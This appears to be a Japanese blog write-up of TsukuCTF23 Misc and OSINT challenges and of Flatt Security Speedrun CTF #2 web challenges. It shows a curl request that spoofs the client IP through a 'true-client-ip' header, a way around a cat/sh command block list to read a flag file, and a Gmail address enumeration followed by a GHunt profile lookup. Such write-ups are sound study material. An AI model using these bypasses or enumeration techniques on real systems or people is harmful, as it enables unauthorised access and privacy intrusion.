111 s-rwr-  1 root    512 Jan  1 00:00:00 std0
112 s-rwr-  1 bin    2082 Jan  1 00:00:00 suftab
113 s-rwr-  1 sys      88 Jan  1 00:00:00 uids
# ed uids
88
1,7p
root:0
sys:1
bin:3
adm:3
jfo:4
ken:6
dmr:7
q
…
TsukuCTF23{Unix}

[Misc 476] build_error (50 solves)

怪盗シンボルより、以下の謎とき挑戦状が届いた。

怪盗シンボルだ!

メールに3つのファイルを添付した。 この3つのファイルを同じディレクトリに置き、makeとシェルに入力し実行するとビルドが走るようになっている。

ビルドを行い、標準出力からフラグを入手するのだ!

追記:ソースコードは秘密

怪盗シンボルはせっかちなので、ビルドできるかチェックしているか不安だ。。。 取りあえずチャレンジしてみよう。

FlagフォーマットはTsukuCTF23{n桁の整数}になります。

The following letter has been received from Symbol the phantom thief:

I have attached three files.
If you put these three files and run $ make on your shell, you should get the flag from the standard output.

Get the flag.
P.S. the source code is secret.

Sincerely,

Symbol the phantom thief

I am not sure whether he checked if it can build since he is impatient. Anyway, let git it a try.

添付ファイル: Makefile, main.o, one.o

素直に make を実行すると怒られる。

$ make
cc main.o one.o -no-pie
/usr/bin/ld: main.o: in function `main':
main.c:(.text+0x8b): undefined reference to `a'
/usr/bin/ld: main.c:(.text+0x92): undefined reference to `b'
collect2: error: ld returned 1 exit status
make: *** [Makefile:4: all] Error 1

main.o をIDA Freewareでデコンパイルすると次のようになる。この a, b, c という変数が存在していないらしい。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+4h] [rbp-2Ch]
  __int64 v5; // [rsp+8h] [rbp-28h]
  __int64 v6; // [rsp+10h] [rbp-20h]
  __int64 v7; // [rsp+18h] [rbp-18h]
  __int64 v8; // [rsp+20h] [rbp-10h]

  v5 = 12LL;
  v6 = 11LL;
  v7 = 75LL;
  one_init(argc, argv, envp);
  for ( i = 0; v6 > i; ++i )
  {
    if ( v5 > i )
      ++v7;
    if ( v7 < i )
      ++v6;
    ++v5;
  }
  v8 = v6 + v5 + v7;
  if ( v8 == b + a + c )
    printf("flag is %ld\n", v8);
  else
    puts("please retry");
  return 0;
}

無理やりこれ単体で動くようにする。

#include <stdio.h>
#define __int64 long int
int main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+4h] [rbp-2Ch]
  __int64 v5; // [rsp+8h] [rbp-28h]
  __int64 v6; // [rsp+10h] [rbp-20h]
  __int64 v7; // [rsp+18h] [rbp-18h]
  __int64 v8; // [rsp+20h] [rbp-10h]

  v5 = 12LL;
  v6 = 11LL;
  v7 = 75LL;
  for ( i = 0; v6 > i; ++i )
  {
    if ( v5 > i )
      ++v7;
    if ( v7 < i )
      ++v6;
    ++v5;
  }
  v8 = v6 + v5 + v7;
  printf("flag is %ld\n", v8);
  return 0;
}

コンパイルして実行するとフラグが得られた。

$ gcc -o a a.c; ./a
flag is 120
TsukuCTF23{120}

[Misc 481] content_sign (45 solves)

どうやら、この画像には署名技術を使っているらしい。この署名技術は、画像に対しての編集を記録することができるらしい。署名技術を特定し、改変前の画像を復元してほしい。 Flag形式はTsukuCTF23{<一個前に署名した人の名前>&<署名した時刻(ISO8601拡張形式)>}です。例えば、一個前に署名した人の名前は「Tsuku」で、署名した時刻が2023/12/09 12:34:56(GMT+0)の場合、フラグはTsukuCTF23{Tsuku&2023-12-09T12:34:45+00:00}です。なお、タイムゾーンはGMT+0を使用してください。

It seems this image is applied digital signature, which can record edit history for an image. Identify the technology and restore the raw image, which means the image before revised.

The flag format is TsukuCTF23{&}

添付ファイル: signed_flag.png

PNGファイルが与えられている。バイナリエディタで眺めると caBX という知らないチャンクがあった。JUMBFという色々メタデータを埋め込めるやつらしい。バイナリエディタで眺めて適当にそれっぽいものを抜き出せばよい。

TsukuCTF23{TSUKU4_IS_H@CKER&2023-12-08T13:00:26+00:00}

OSINT

[OSINT 100] airport (205 solves)

つくしくんは、旅の思い出を振り返っていましたが、この写真はどこの空港かわからなくなりました。 ここはどこの空港か教えてくれませんか? Flagフォーマットは TsukuCTF23{空港の3レターコード(IATA)} です。

Tsukushi looks back his trip memories, but he forgot where this picture is taken. Could you tell me which airport this is? The flag format is TsukuCTF23{3 letter code of the airport (IATA)}.

ANAのプロペラ機のそばで撮影した写真が与えられる。まず文字情報を探してしまうが、次の車が目に入った。

「"ctk-101" 空港」でGoogle画像検索をすると同じ車の写った写真のある記事がヒットする。伊丹だ。

TsukuCTF23{ITM}

[OSINT 100] castle (217 solves)

この前、お城に行ってこの写真を取ってきたんだ! どこにあるかわかるかい?

ラグのフォーマットは、TsukuCTF23{緯度_軽度} です。 小数点は第三桁まで有効とします。

I took this picture in a castle last time. Do you know where it is?

The flag format is TsukuCTF23{latitude_longitude}, and is valid to the third decimal place.

お城の写真が与えられる。Google Lensに投げると太陽公園と出てきた。ストリートビューでぶらぶら歩いていると同じ場所が見つかる。

TsukuCTF23{34.886_134.630}

[OSINT 100] eruption (258 solves)

つくしくんは旅行に行ったときに噴火を見ました。噴火の瞬間を実際に見たのは初めてでしたが、見た日付を覚えていません。 つくしくんが噴火を見た日付を写真の撮影日から特定して教えてください。 撮影場所が日本なのでタイムゾーンはJSTです。フラグの形式は TsukuCTF23{YYYY/MM/DD} です。

Tsukushi-kun saw the eruption when he was on a trip. It was the first time for him to actually see the eruption, but he does not remember the date he saw it. Please tell us the date when Tsukushi-kun saw the eruption by identifying it from the date the photo was taken. The time zone is JST because the photo was taken in Japan. The flag format is TsukuCTF23{YYYYYY/MM/DD}.

火山が噴火している様子を撮影した写真が与えられる。どう見ても桜島。ファイルをよく見るとEXIFが残っており、撮影日時が含まれている。

TsukuCTF23{2022/01/28}

[OSINT 100] location_for_what (240 solves)

とある場所を友達と探索していると、「ここ、何かの映画の聖地だった気がするけど、名前忘れちゃった......」とのこと。 シュッと特定して教えてあげよう!

Flagの形式は TsukuCTF23{映画のタイトル} です。

While going to somewhere with my friend, he says "I think this place is used for a movie, but I forgot the name...". Let's quickly identify the movie name instead of him.

THe flag format is TsukuCTF23{title_of_the_movie}.

東屋を撮った写真が与えられる。Google Lensに投げるといきなり「言の葉の庭」が出てくる。新宿御苑らしい。

TsukuCTF23{言の葉の庭}

[OSINT 180] green_bridge (180 solves)

この写真が撮影されたのはどこですか...? Flagフォーマットは TsukuCTF23{緯度_経度} です。 端数は少数第4位を四捨五入して小数点以下第3位の精度で回答してください。

Where is the picture taken? The flag format is TsukuCTF23{latitude_longitude}. Round fractions to the nearest fourth decimal place and answer the third decimal place.

緑の橋を撮った写真が与えられる。Google Lensに投げるともみじ谷大吊橋とわかる。次の切り抜いた画像に写っている橋と建物の位置関係を考えつつ、いい感じに同じような構図で撮れそうな場所をGoogle Mapsで考える。見つかった

TsukuCTF23{36.956_139.880}

[OSINT 198] perfume (175 solves)

とある施設でいろいろな香水を見かけたが、施設の場所が思い出せない。 この施設の場所を調べ、教えてほしい。

ラグはTsukuCTF23{緯度_経度}であり、小数点第三桁まで有効である。

I saw various perfumes at one facility, but I cannot remember where the facility is located. Please find out where this facility is located and tell me. Flag format is TsukuCTF23{latitude_longitude} And is valid to the third decimal place.

博物館かどこかで、エジプト香水瓶と東京スカイツリーの開業を記念して作られたらしい香水が展示されている様子を撮影した写真が与えられる。エジプト香水瓶の方をGoogle Lensで探すと、大分香りの博物館がヒットする。

TsukuCTF23{33.312_131.489}

[OSINT 228] mab (166 solves)

mab.main.jpが使用しているレンタルサーバサービスを特定し、そのWebサイトのドメイン名を答えてください。Flagフォーマットは TsukuCTF23{ドメイン名}です。 Please identify the rental server service used by mab.main.jp and answer me with the domain name of the website. The flag format is TsukuCTF23{domain_name}.

main.jp といえばロリポップ!だ。知っていた。

TsukuCTF23{lolipop.jp}

[OSINT 232] tsukushi_estate (165 solves)

つくし君が写真に写っているビルにオフィスを構えたいらしいのだけど、築年数が少し心配...... つくし君の代わりに調査してください!

Flagの形式は TsukuCTF23{築年_月} です。 例えば、2022年3月に出来たビルであれば、 TsukuCTF23{2022_03} になります。

It seems Tsukushi wants to have his office in the building in the picture, but he is worried how old this building is. Please investigate about it instead of him.

The flag format is TsukuCTF23{year_month}. For example, if a building is built in March 2022, the flag is TsukuCTF23{2022_03}.

入居者募集の看板を撮影した写真が与えられる。問い合わせ先は松阪市の「(同)つくし不動産」だ。ありがたいことに取り扱い物件が検索できる。貸事務所を片っ端から見ていくと、伊勢SIビルという、まさにこの看板が含まれている写真がある物件が見つかった。築年数も書かれている。

TsukuCTF23{1983_03}

[OSINT 281] travel_with_tsukushi (149 solves)

旅が好きなつくしくんは、空港の写真からそれがどこの空港かすぐにわかります。 つくしくんからの挑戦状! これがどこの空港かわかるかな? Flagフォーマットは TsukuCTF23{空港の3レターコード(IATA)} です。

Tsukushi, who loves to travel, can easily tell the airport where it is taken in. This is a challenge from him. Do you know which airport this is? The flag format is TsukuCTF23{3 letter code of the airport (IATA)}.

空港問その2。今度は飛行機の機内からターミナルなどを撮影した写真が与えられている。3機が写っており、垂直尾翼のロゴなどから、手前からエア・アラビア、バティック・エア、マレーシア航空の機材だとわかる。おそらくマレーシアなのだろうなあと思いつつ、どう考えても後ろの2つだけだと絞りきれないので、エア・アラビアの就航都市一覧を見る。マレーシアだとクアラルンプール国際空港にしか飛ばしていない。

TsukuCTF23{KUL}

[OSINT 321] kiZOU (135 solves)

ここは日本で一番のリゾート地!少し歩くと目の前に素敵な像が見えたから写真を撮ったつもりだったんだけど、見返したら端っこしか写ってない!困ったなぁ、この像についてもっと知りたかったんだけどなぁ。僕の代わりにこの像について調べてくれないか? フラグ形式は TsukuCTF23{像を寄贈した人物の名前} です。

This is the best resort in Japan! I took a picture when I saw the nice statue in front of me. However, I noticed only the edge is in the picture. So, could you please investigate for the statue instead of me. The flag format is TsukuCTF23{the person name who donated the statue}.

auの店舗を撮影した写真が与えられている。よく見るとau Style NAHAという店舗名が見つかる。

また、写真の右下に問題文で言及されている像の一部が映り込んでいる。

au Style HANAについてググると、これはパレットくもじという複合商業施設にあるとわかる。雑に「パレットくもじ "銅像"」で検索すると、この像がシーサーであるとわかった。「パレットくもじ "シーサー" "寄贈"」で検索すると、この像の寄贈者について言及しているXTwitterポストツイートが見つかる。

TsukuCTF23{上原清善}

[OSINT 354] big_statue (122 solves)

大きなドリアンだ!どこにあるんだろう?? フラグの形式は TsukuCTF23{緯度_経度} です。例えば、この像が東京の渋谷駅にある場合、フラグは TsukuCTF23{35.6580_139.7016} となります。

What a big durian! Where is this?? The flag format is TsukuCTF23{latitude_longitude}. If this statue is at Shibuya station in Tokyo, the flag would be TsukuCTF23{35.6580_139.7016}.

巨大なドリアン像を撮った写真が与えられる。文字情報があるので読み取る。これは「榴莲王」「利陞」だ。

これらの単語でググるLexus Durian Kingという店が見つかる。複数店舗あるようだが、Googleストリートビューで眺めると、Lexus Durian King - Upper Serangoonの方が周囲の風景から正解だとわかる。写真と同じ建物が写っている。

TsukuCTF23{1.3623_103.8873}

[OSINT 394] TrainWindow (104 solves)

夏、騒音、車窓にて。

ラグのフォーマットは、TsukuCTF23{緯度_経度}です。 緯度経度は小数第五位を切り捨てとします。

Summer, noise, at car window.

The format of the flag is TsukuCTF23{latitude_longitude}. Latitude and longitude are rounded down to the fifth decimal place.

電車の車内から撮ったであろう写真が与えられる。まず奥に写っている島に注目する。忘れるはずがない、Open xINT CTF 2022 - nice viewで散々調べた初島だ。

これで撮影場所は熱海周辺であることがわかる。海が見えることから海岸線に近い場所であるし、またグランドエクシブ初島クラブの見え方からある程度範囲も絞り込める。それはそれとして文字情報を探すと、TTCという文字列が見える。探すと見つかった

TsukuCTF23{35.0642_139.0665}

[OSINT 427] CtrlAltPrtSc (87 solves)

仕事中にCtrl + Alt + PrtScでウィンドウのスクリーンショットを撮ったよ。

つくし君がサボって使用していたサービスの名前を答えよ。 フラグはTsukuCTF23{サービスの名前}の形式です。

Tsukushi-kun took a screenshot of a window at work using Ctrl + Alt + PrtSc. Please give the name of the service that Tsukushi-kun used when he was slacking off from work. Flag format is TsukuCTF23{Service name}

次のようなスクリーンショットが与えられる。

ファビコンが写っているであろう箇所を見る。この赤さと真ん中のちょっと白い部分があるファビコンはYouTubeだ。

TsukuCTF23{YouTube}

[OSINT 433] laser (83 solves)

光源の座標を正確に教えてください。 フラグフォーマットは、TsukuCTF23{緯度_経度}です。 小数点以下5位を切り捨てて、小数点以下4桁で答えてください。

Please tell me the exact coordinates of the light source. The flag format is TsukuCTF23{latitude_longitude}. Round down to 5 decimal places and submit your answer to 4 decimal places.

周囲を高いビルに囲まれつつ、なにやら青っぽいレーザーが空に向かって伸びている写真が与えられる。安直だが「ビルから青いレーザー」でググる梅田だとわかる*5ほかの記事も参照すると

担当者によると、そのスタート地点である「梅田吸気塔」に「ランドマークレーザー」を設置したのだという。

という記述も見つかる。Google Mapsで梅田吸気塔へ移動し、記事の写真と見比べつつ、衛星写真からレーザーの光源らしき位置を探せばよい。

TsukuCTF23{34.7015_135.4991}

[OSINT 444] 3636 (76 solves)

ここはどこ...? Flagフォーマットは TsukuCTF23{緯度_経度} です。 端数は少数第四位を四捨五入して小数点以下第三位の精度で回答してください。

Where is there...? The flag format is TsukuCTF23{latitude_longitude} . Fractions should be rounded to the nearest fourth decimal place, and please answer to the third place.

次のような写真が与えられる。これだけ。まずこの何かについて、電話番号が 5-3636 で終わること、WebサイトのURLが o.ed.jp で終わることがわかる。

「site:*.ed.jp 電話番号 "3636"」で検索する。色々候補は出てくるものの、たとえばドメイン名は o.ed.jp で終わっていたとしても、同じドメイン名で複数の学校のWebサイトをホストしており、学校ごとにディレクトリを切っているというような運用をしているページが多く見つかる。こういったURLがドメイン名で終わるはずのないものは排除できる。いくつか検索結果を眺めて、可能性が高いのはとうみょう子ども園だろうと考える。ストリートビューでこの周辺を探すと、見つかった

TsukuCTF23{37.502_139.929}

[OSINT 446] Yuki (75 solves)

雪、無音、窓辺にて。

ラグのフォーマットは、TsukuCTF23{緯度_経度}です。 緯度経度は小数第四位を切り捨てとします(精度に注意)。

Snow, silent, at window.

The flag format is TsukuCTF23{latitude_longitude}. Latitude and longitude are rounded down to the fourth decimal place (note the precision).

TrainWindowと違い問題文が本物だ(?)。屋内からガラス越しに橋を撮った写真が与えられる。Google Lensで橋の部分だけ検索すると、同じ橋を撮ったであろう写真が見つかる。定山渓ビューホテルだ。

TsukuCTF23{42.968_141.166}

[OSINT 451] tsukushi_no_kuni (71 solves)

かつて、筑紫国を統治していた国造の一人が乱を起こした。 その子孫の一人が、ある天皇と同一人物である説が提唱されている。 その子孫の名前を TsukuCTF23{} で囲んで答えよ。

Once upon a time, one of the Kokuzou(国造) who ruled Tsukushi-no kuni(筑紫国) caused a rebellion. A theory has been proposed that one of his descendants was the same person as a certain emperor of Japan. Answer by enclosing the name of the descendant in TsukuCTF23{}.

まずその「乱」とは何か。問題文からそのまま「かつて、筑紫国を統治していた国造の一人が乱を起こした」でググる磐井の乱が見つかる。磐井という人が起こしたらしい。この人物のWikipediaの記事の関連項目に、筑紫薩夜麻という人物がその子孫であろうと推測されるという記述がある。問題数も多く、早くほかの問題を見たかったので、問題文に関連する記述を探さずこの人物をフラグとしてとりあえず提出すると、正解だった。すみません。

TsukuCTF23{筑紫薩夜麻}

[OSINT 463] free_rider (62 solves)

https://www.fnn.jp/articles/-/608001 私はこのユーチューバーが本当に許せません! この動画を見たいので、元のYouTubeのURLを教えてください。 また、一番上の画像(「非難が殺到」を含む)の再生位置で指定してください。 フラグフォーマットは、TsukuCTF23{https://www.youtube.com/watch?v=**REDACTED**&t=**REDACTED**s}

https://www.fnn.jp/articles/-/608001 I really can't stand this YouTuber! I would like to watch this video, so please tell me the original YouTube URL. Also, please specify the playback position of the top image (including 「非難が殺到」). Flag format is TsukuCTF23{https://www.youtube.com/watch?v=**REDACTED**&t=**REDACTED**s}

「無賃乗車 youtuber "youtu.be"」でググると、これについて言及するTogetterのまとめが見つかる。まとめられているポストから動画IDが Dg_TKW3sS1U であるとわかるが、動画は削除されている。Wayback Machine見てみると、この動画のタイトルが "I Traveled Across Japan For Free" であるとわかる。このタイトルで検索すると転載動画が見つかり、それを見て画像と一致する箇所を探すと、見つかった。

TsukuCTF23{https://www.youtube.com/watch?v=Dg_TKW3sS1U&t=176s}

[OSINT 469] river (57 solves)

弟のたくしから、「ボールが川で流されちゃった」と写真と共に、連絡がきた。 この場所はどこだ? Flagフォーマットは TsukuCTF23{緯度_経度} です。 端数は少数第5位を切り捨てて小数点以下第4位の精度で回答してください。

I received a call "My ball got washed away in the river" with a picture from my younger brother, Takushi Where is this place? Flag format is TsukuCTF23{latitude_longitude}. Please answer to the fourth decimal place with fractions rounded down to the fifth decimal place.

川を撮影した写真が与えられる。なかなかのぼやけっぷりで読みづらいが、読める文字情報を探す。まず一番読みやすいのはこれで、newqin…ではなくnewginというパチンコ関連の会社の専用駐車場だ。

れいめい」か「たいめい」か。

これぐらいしかない。ニューギン本体の事業所や工場すべてをGoogleストリートビューで見てみるものの、いずれも周辺の景色がまったく異なっている。メンバーのアラスカンマラミュート*6も周辺にある駐車場のロゴがD-Parkingであることを見つけたり、後ろの山が怪しいとアイデアを挙げていたりしたものの、有用な情報がしばらく見つからず。多くて嫌だなあと思っていたグループ会社の事業所などを虱潰しに見ていくことにした。株式会社ニューギン販売の鹿児島営業所が当たり。なぜかリストの下から見ていったおかげですぐに見つかってよかった。

TsukuCTF23{31.5757_130.5533}

[OSINT 471] broken display (55 solves)

表示が壊れているサイネージって、写真を撮りたくなりますよね! 正しく表示されているときに書かれている施設名を見つけて提出してください! フラグ形式: TsukuCTF23{◯◯◯◯◯◯◯◯IYA_◯◯◯◯◯◯S}

A Signage with a broken display makes me want to take a picture, right? Find the name of the facility whose name is written on when it is displayed correctly and submit it! The flag format: TsukuCTF23{◯◯◯◯◯◯◯◯IYA_◯◯◯◯◯◯S}

わかるなあ。デジタルサイネージに施設のロゴが表示されているものの、上にターミナルのウィンドウが覆いかぶさって読めなくなっている写真が与えられる。まず文字情報を探す。奥に日能研が見える。

"L'OC…ANE" という店のロゴが反射して映り込んでいる。Googleで "L'OC" まで打ったところでL'OCCITANEとサジェストに出てくる。ロクシタンというお店らしい。

ただ、ロクシタン日能研もそれぞれ店舗と校舎が多すぎる。が、どちらかでひとつひとつ見ていく以外に方法が思いつかなかった。Webサイトから店舗の一覧が見やすかったロクシタンの方で虱潰しに見ていく。100件以上あるけれども、写真からはおそらく2階以上で撮られたことが推測できるし、「施設名」とわざわざ問題文で言及している以上はショッピングモールや百貨店にある店舗だろう。これらの情報からある程度は絞れる。まず2Fで検索してひとつひとつ見ていき、それが終わったら3F、次は4F…というように進めていくことにした。各店舗の名前でググり、詳しく調べていく。

「西宮阪急店」という店舗名を見て、西宮がIYAで終わっていることに気づく。詳しくこの店舗や関連する施設について調べると、西宮阪急は阪急西宮ガーデンズを構成する百貨店であることがわかる。ロゴのIYA, Sのフォントも合っている。文字数も合っている。

TsukuCTF23{NISHINOMIYA_GARDENS}

[OSINT 484] RegexCrossword (42 solves)

クロスワードを解いてみて! これを作った会社の本社の郵便番号をハイフンありで答えてね!!

Solve the crossword! Hyphenate the zip code of the headquarters of the company that made this!!

正規表現クロスワードが書かれた紙らしきものを撮影した写真が与えられる。Twitterで「正規表現 クロスワード」を検索し、メディア欄を眺めるとおそらく同一の紙ナプキンを撮影したポストが見つかる。会津大学の学食にあったらしい。「会津大学 学食 クロスワード」で検索するとねとらぼの記事が見つかる。

2013年9月ごろから作られ、会津大学のほかにも筑波大学・はこだて未来大学・カリフォルニア大学・九州大学などにこれまで置かれているそう。

と設置された大学の名前が挙げられていたり、色々新しい情報は得られたものの、

取材によってナプキンの正体は明らかになってしまいましたが、そこはあえて公開せず!

ちなみに、このナプキンを考案した“あるところ”によると、…

とその正体が伏せられている。主に大学に設置しているということから、おそらく採用関連のキャンペーンだろうと推測する。

会津大学 ナプキン」で検索すると、このクロスワードを解いてその解答を公開している記事がヒットする。nowhere.co.jp は株式会社Eyes, JAPANのドメイン名だ。もちろん、会社情報に本社の所在地も書かれている。

TsukuCTF23{965-0872}

[OSINT 484] flower_bed (42 solves)

花壇の先にQRコードのキューブがあるようですね。友人曰く、モニュメントの近くに配置されているものらしいです。 こちらのQRコードが示すURLを教えてください! リダイレクト前のURLでお願いします!

Flagの形式は TsukuCTF23{URL} です。例えば、https://sechack365.nict.go.jp がURLなら、 TsukuCTF23{https://sechack365.nict.go.jp} が答えになります。

It looks there is a cube of QR code. My friend says it is placed near the monument. What is the URL which the QR code specifies. Please answer the URL before the redirection.

The flag format is TsukuCTF23{URL} . For example, if the URL is https://sechack365.nict.go.jp, the answer is TsukuCTF23{https://sechack365.nict.go.jp} .

花壇を撮った写真が与えられている。問題のQRコードはこれだ。無理やり読めるかもしれないが、これはOSINTカテゴリの問題であるから、まずはそれっぽいアプローチを試す。

QRコードの周辺に書かれている文字列で検索したい。"prefectual civil hall and" でググると福岡のPrefectural Civic Hall and Honorary Guest Houseがヒットする。この英語の施設名で検索すると、Google Mapsで旧福岡県公会堂貴賓館が出てきた。そのWebサイトのURLは https://www.fukuokaken-kihinkan.jp だけれども、スラッシュを付けても外しても通らない。「リダイレクト前のURLでお願いします」とわざわざ問題文で書いていることから、たとえばQRコードにかかれているURLはHTTPであり、HTTPSへのリダイレクトが走るのではないかと考える。いけた。

TsukuCTF23{http://www.fukuokaken-kihinkan.jp}

[OSINT 488] grass_court (36 solves)

しばらく使われていないテニスコートのようだ。 この日本にあるテニスコートの場所はどこだろう。 フラグの形式は TsukuCTF23{緯度_経度}です。 小数点以下5位を切り捨てて、小数点以下4桁で答えてください。

Looks like a tennis court that hasn't been used for a while. Where is the location of this tennis court in Japan? The format of the flag is TsukuCTF23{latitude_longitude}. Round down to 5 decimal places and submit your answer to 4 decimal places.

テニスコートとその周囲を撮影した写真が与えられる。特徴的な箇所を見ていく。謎のキャラクターがいる。

大きなパラボラアンテナがある。

しかも少なくとも2基も。

1基が上を向いている様子を見て、これは電波望遠鏡なのではないかと考える。日本の電波望遠鏡一覧という大変ありがたいWikipediaの記事がある。Google Mapsでひとつひとつ見ていく。野辺山にはテニスコートはあるものの、状況が一致しない。水沢は風の又三郎テニスコートというものがある。これは与えられた写真と状況が合っているだろうかと考えつつ、適当にストリートビューを見てみようとピンを刺してみたところ、先程特徴的だと言っていたキャラクターがいた。ここだ。

TsukuCTF23{39.1350_141.1324}

[OSINT 491] fiction (32 solves)

「座標を教えてくれ」 フラグフォーマットは、TsukuCTF23{緯度_経度}です。 小数点以下5位を切り捨てて、小数点以下4桁で答えてください。

"Give me the coordinates." The flag format is TsukuCTF23{latitude_longitude}. Round down to 5 decimal places and submit your answer to 4 decimal places.

FPSのゲーム中で家を撮ったであろうスクリーンショットが与えられる。Google Lensに投げると、VALORANTというゲームのサンセットというマップだとわかる。このゲームではどこかのタイミングでマップのそれっぽい緯度・経度が表示されるらしい。「valorant sunset coordinates」で検索すると 34° 2' C" N, 118° 12' YT" W とわかる。適当にwikiのページを眺めていると、34°2'2" N 118°12'16" W という記述があった。

TsukuCTF23{34.0338_-118.2044}

[OSINT 498] hunter (16 solves)

名前をメールで聞こうとしたところ、相手のGmailの一部が分からなくなってしまいました。 大変お忙しいところ恐縮ですが、暇なときに調査してください。 qeinijo#iby#@gmail.com # が不明な部分です。 なお、外部サービスに短期間で多くのアクセスをしないようにしてください。

I tried to email you to ask for the name, but I lost track of part of the person's Gmail. I apologize for the inconvenience, but please investigate in your space time. qeinijo#iby#@gmail.com # is the part I don't understand. Please avoid accessing many external services in a short period of time."

Google Docsでドキュメントの共有時にGmailのメールアドレスを共有先として入力すると、そのメールアドレスが有効であるかどうかを確認できるテクニックがある。たとえば、次のように黄色いアイコンが表示されている場合は、そのGmailのメールアドレスは存在しない。また、この確認時に、スペース区切りで複数のメールアドレスを含む文字列をペーストすると、それらすべてをまとめて確認してくれる。

Gmailでは英文字と数字、それからピリオドが使用できる。不明な文字は2文字だけなので、ブルートフォースは現実的だ。次のようなスクリプトで雑にメールアドレスの候補を生成する。

import itertools
import string
table = string.digits + string.ascii_lowercase + '.'
for c in table:
    t = []
    for d in table:
        t.append(f'qeinijo{c}iby{d}@gmail.com')
    print(' '.join(t))

いい感じに間隔を空けつつ試す。qeinijo.iby8@gmail.com が当たりだった。

Googleアカウントの情報収集といえばGHuntだ。このメールアドレスの情報を確認してみると、名前がフラグだった。

$ python3 main.py email qeinijo.iby8@gmail.com

     .d8888b.  888    888                   888
    d88P  Y88b 888    888                   888
    888    888 888    888                   888
    888        8888888888 888  888 88888b.  888888
    888  88888 888    888 888  888 888 "88b 888
    888    888 888    888 888  888 888  888 888
    Y88b  d88P 888    888 Y88b 888 888  888 Y88b.
     "Y8888P88 888    888  "Y88888 888  888  "Y888 v2

             By: mxrch (🐦 @mxrchreborn)
       Support my work on GitHub Sponsors ! 💖

[+] Authenticated !

[!] You have this person in these containers :
- Profile
- Contact

🙋 Google Account data

Name : TsukuCTF23{GHun7_i5_u5efu1}
…
TsukuCTF23{GHun7_i5_u5efu1}

*1:ルール上チームの上限人数は98人と定められていた。名前はすごいことになっているが、参加していたメンバーは3名だった

*2:チーム名はptr-yudaiさんが乱数で決めていた

*3:上野動物園のオグロプレーリードッグがわちゃわちゃしているところが好きなので

*4:document.cookieを直接参照すればよいのだけれども、こっちの方がhttpOnlyがついていようがいなかろうが関係なく通るのでこうした

*5:大阪市の市章はみおつくし

*6:もふもふ

Flatt Security Speedrun CTF #2 writeup

12/5に開催されたFlatt Security Speedrun CTF #2に参加した。CTFの名前にもあるようにこれは第2回で、第1回はCODE BLUE 2023の中で開催されていた。イベントの趣旨は前回大会の記事を参照いただくとして、前回あまりに解かれなかったために新しい問題セットでリベンジしようということらしかった。競技時間は80分で、前回と同様に5問のWeb問が出題された。

2連覇を目指して参加したところ、無事に再び1位を獲得できた*1。しかしながら、全完はできず。確かに前回より全体的に難易度が下がっていた気がするものの、5問目のnginxに関してはどうだろう。

リンク:


競技時間中に解いた問題

[目標タイム: 5分 / 区間タイム: 2分20秒2] X

x means x- header.

(問題サーバのURL)

添付ファイル: x.zip

ソースコードは次の通り。127.0.0.1 からアクセスしていることにすればフラグが得られるらしい。ただし、X-Forwarded-ForX-Cloud-Trace-Context といったヘッダは削除されるし、そもそも x から始まるヘッダを与えていれば怒られる。こういう問題構成から、x から始まらないけれども、X-Real-IP のような挙動をするヘッダを探せということなのだろうと推測する。

import { getClientIp } from "request-ip";

const port = process.env.PORT || 3000;

Bun.serve({
  port,
  fetch(req) {
    // the remote server is running on Cloud Run, so these headers are sent.
    req.headers.delete("x-cloud-trace-context");
    req.headers.delete("x-forwarded-for");
    req.headers.delete("x-forwarded-proto");

    if ([...req.headers.keys()].some((k) => k.startsWith("x"))) {
      return new Response("x header is banned!", { status: 400 });
    }
    if (
      getClientIp({
        headers: Object.fromEntries(req.headers.entries()),
      }) === "127.0.0.1"
    ) {
      return new Response(process.env.FLAG);
    }
    return new Response("You are not coming from 127.0.0.1!");
  },
});

request-ip というライブラリを使っているようだったので、そのソースコードを確認する。いっぱい候補がある。適当に x から始まっていない true-client-ip を選んで送ってみる。フラグが得られた。

$ curl https://x-ofbjo9tumm-fuuaq4evkq-an.a.run.app/ -H "true-client-ip: 127.0.0.1"
flag{not_only_x-forwarded-for}
flag{not_only_x-forwarded-for}

[目標タイム: 5分 / 区間タイム: 58秒2] busybox1

Read /flag.

(問題サーバのURL)

添付ファイル: busybox1.zip

与えられたURLにアクセスすると、なんかOSコマンドを実行できそうなフォームが表示される。pwdid といったコマンドを実行すると、その結果が返ってきた。

ソースコードは次の通り。競技中は真面目にソースコードを確認せず、/flag にフラグが書き込まれていることと、catsh といったコマンドは使えず、また /bin 下のバイナリしか実行できないというところだけ読んでいた。

const port = process.env.PORT || 3000;

if (process.env.FLAG) {
  Bun.write("/flag", process.env.FLAG);
  delete process.env.FLAG;
  delete Bun.env.FLAG;
}

Bun.serve({
  port,
  async fetch(req) {
    const path = new URL(req.url).pathname;
    if (req.method === "POST" && path === "/run") {
      const json = await req.json();
      const command = json.command;
      if (
        !Array.isArray(command) ||
        !command.every((c): c is string => typeof c === "string") ||
        command.length === 0
      ) {
        return Response.json({ error: "Invalid command." });
      }

      if (command[0].includes("/")) {
        return Response.json({ error: "Only commands in /bin are allowed!" });
      }
      if (["cat", "sh"].some((banned) => command[0].includes(banned))) {
        return Response.json({ error: "Banned!" });
      }

      command[0] = "/bin/" + command[0];

      try {
        const proc = Bun.spawnSync(command, { env: Bun.env });
        return Response.json({
          stdout: proc.stdout.toString(),
          stderr: proc.stderr.toString(),
        });
      } catch (e: unknown) {
        return Response.json({
          error: String(e),
        });
      }
    }
    return new Response(Bun.file("index.html"));
  },
});

xxd /flag を試したらいけた。

flag{you_can_read_any_file_without_cat}

[目標タイム: 10分 / 区間タイム: 1分18秒2] busybox2

Run /getflag.

(問題サーバのURL)

添付ファイル: busybox2.zip

今度は /flag を読むのではなく、/getflag という実行ファイルを実行せよということらしい。ただ、やはり catsh は実行できないし、/bin 下の実行ファイルしか実行できない。

const port = process.env.PORT || 3000;

Bun.serve({
  port,
  async fetch(req) {
    const path = new URL(req.url).pathname;
    if (req.method === "POST" && path === "/run") {
      const json = await req.json();
      const command = json.command;
      if (
        !Array.isArray(command) ||
        !command.every((c): c is string => typeof c === "string") ||
        command.length === 0
      ) {
        return Response.json({ error: "Invalid command." });
      }

      if (command[0].includes("/")) {
        return Response.json({ error: "Only commands in /bin are allowed!" });
      }
      if (["cat", "sh"].some((banned) => command[0].includes(banned))) {
        return Response.json({ error: "Banned!" });
      }

      command[0] = "/bin/" + command[0];

      try {
        const proc = Bun.spawnSync(command, { env: Bun.env });
        return Response.json({
